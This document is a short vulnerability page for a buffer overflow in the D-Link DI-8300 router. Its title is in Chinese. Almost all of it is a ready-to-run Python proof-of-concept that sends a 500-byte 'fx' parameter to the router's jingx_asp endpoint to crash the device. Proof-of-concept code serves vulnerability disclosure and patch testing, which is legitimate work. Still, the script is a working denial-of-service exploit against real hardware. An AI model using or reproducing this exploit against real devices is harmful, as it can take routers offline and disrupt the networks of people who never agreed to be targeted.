CVE-2025-45058 D-Link DI-8300缓冲区溢出漏洞

import requests def exploit_poc(target_ip): # Target URL based on the vulnerable function name url = f"http://{target_ip}/jingx_asp" # Payload: A long string to trigger the buffer overflow in the 'fx' parameter # Adjust length based on specific buffer size (usually > 100 bytes for simple overflows) payload = "A" * 500 params = { "fx": payload } try: print(f"[+] Sending payload to {target_ip}...") response = requests.get(url, params=params, timeout=10) # Check if the service is still responding (may hang or return error) if response.status_code == 200 or response.status_code == 500: print("[!] Request sent, check device for DoS condition.") else: print(f"[?] Unexpected status code: {response.status_code}") except requests.exceptions.Timeout: print("[+] Connection timed out. The device might have crashed (DoS successful).") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit_poc(target)